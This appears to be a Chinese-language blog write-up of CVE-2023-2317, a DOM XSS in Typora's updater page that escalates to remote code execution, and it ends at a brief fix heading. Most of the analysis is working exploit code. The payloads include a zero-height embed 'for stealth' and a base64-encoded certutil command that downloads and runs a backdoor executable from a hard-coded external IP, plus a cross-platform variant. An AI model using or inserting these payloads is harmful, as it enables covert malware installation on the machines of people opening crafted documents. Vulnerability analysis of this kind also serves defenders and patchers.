0%

Typora远程代码执行漏洞分析(CVE-2023-2317)

1.漏洞信息

漏洞编号:CVE-2023-2317

漏洞范围:Typora<=1.67

漏洞说明:低于1.67版本的Typora存在代码执行漏洞,通过在标签中加载typora://app/typemark/updater/update.html实现在Typora主窗口的上下文中运行任意JavaScript代码。

2.漏洞成因

问题代码段:

在typoral的安装目录的\resources\updater\updater.html中存在问题代码段

1
2
3
4
5
6
7
8
9
10
11
12
13
<script type="text/javascript">
var curVersion = /[?&]curVersion=([^&]+)/.exec(window.location.search)[1];
var newVersion = /[?&]newVersion=([^&]+)/.exec(window.location.search)[1];
var releaseNoteLink = decodeURIComponent(/[?&]releaseNoteLink=([^&]+)/.exec(window.location.search)[1]);
var hideAutoUpdates = /[?&]hideAutoUpdates=([^&]+)/.exec(window.location.search)[1] == "true";
var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));

document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
document.querySelectorAll("[data-label]").forEach(function(dom){
dom.innerHTML = labels[dom.getAttribute("data-label") - 0];
});
document.querySelector("#release-panel").src = releaseNoteLink;
</script>

分析一下插入的javascript实现的功能

1.参数获取:

1
2
3
4
5
var curVersion = /[?&]curVersion=([^&]+)/.exec(window.location.search)[1];
var newVersion = /[?&]newVersion=([^&]+)/.exec(window.location.search)[1];
var releaseNoteLink = decodeURIComponent(/[?&]releaseNoteLink=([^&]+)/.exec(window.location.search)[1]);
var hideAutoUpdates = /[?&]hideAutoUpdates=([^&]+)/.exec(window.location.search)[1] == "true";
var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));

这四句话都是获取参数的,window.location.search获取从问号 (?) 开始的 URL(查询部分。再分别通过正则匹配的方式匹配出相应的参数curVersion,newVersion,releaseNoteLink,hideAutoUpdates和labels。也就是说我们要传入这5个参数

2.页面替换:

下面语句将参数通过dom.innerText和din.innerHTML未经清洗的将传入的替换进html源码中,是造成漏洞(DOM型XSS)的根源

1
2
3
4
5
document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
document.querySelectorAll("[data-label]").forEach(function(dom){
dom.innerHTML = labels[dom.getAttribute("data-label") - 0];
});
document.querySelector("#release-panel").src = releaseNoteLink;

可以看到第一句话将labels中的labels[4]和labels[5]相拼接通过innerText写入,因为是以innerText方式写入的所以我们的xss不会生效

第二句将labels中的[0-3]四个参数通过innerHTML方式写入,可以使我们的xss成功

第三句将releaseNoteLink链接写入一个src中,我们也可以利用这一点使受害者访问我们构造的url

3.漏洞拓展:

1.typora中存在node扩展,通过利用node.child_process模块我们可以创造一个子进程来执行系统命令,从而使原来的dom型xss可执行系统命令

2.既然要在typora中执行xss我们自然要引用该html

Typora内部实现了typora://协议,可以用于Typora访问特定文件。通过按住shift+f12的方式我们可以看到typoral的html界面

观察其文件引用的方式

1
<link rel="stylesheet" href="typora://app/typemark/lib.asar/bootstrape/css/bootstrap.css" crossorigin="anonymous">

lib.asar在/resouce目录下,若想访问到\resources\updater\updater.html我们可以构造typora://app/typemark/updater/update.html

根据这两点我们来构造相关payload

Windows环境下的payload可以这样写:

1
reqnode('child_process').exec("calc")

包在svg标签里实现页面加载:

1
<svg/onload=top.eval(`reqnode('child_process').exec('calc')`)></svg>

编码前的Poc:

1
<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=["","<svg/onload=top.eval(`reqnode('child_process').exec('calc')`)></svg>","","","",""]">

为了使poc更加隐蔽我们还可以对其进行base64编码,再通过reqnode('child_process').exec('certutil.exe -urlcache -split -f http://IP:端口/1212.exe && 1212.exe')获取并执行后门代码

所以最终的poc为:

1
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmd加密指令'))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">
1
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NlcnR1dGlsLmV4ZSAtdXJsY2FjaGUgLXNwbGl0IC1mIGh0dHA6Ly80Ny4xMjAuMzguMjEwL3dpbmRvd3MuZXhlICYmIHdpbmRvd3MuZXhlJyk='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">

还有适配linux和windows的写法

1
reqnode('child_process').exec(({Win32: 'certutil.exe -urlcache -split -f http://192.168.142.128:8992/1212.exe 1212.exe && 1212.exe', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])

漏洞修复

把innerHTML改成了innerText: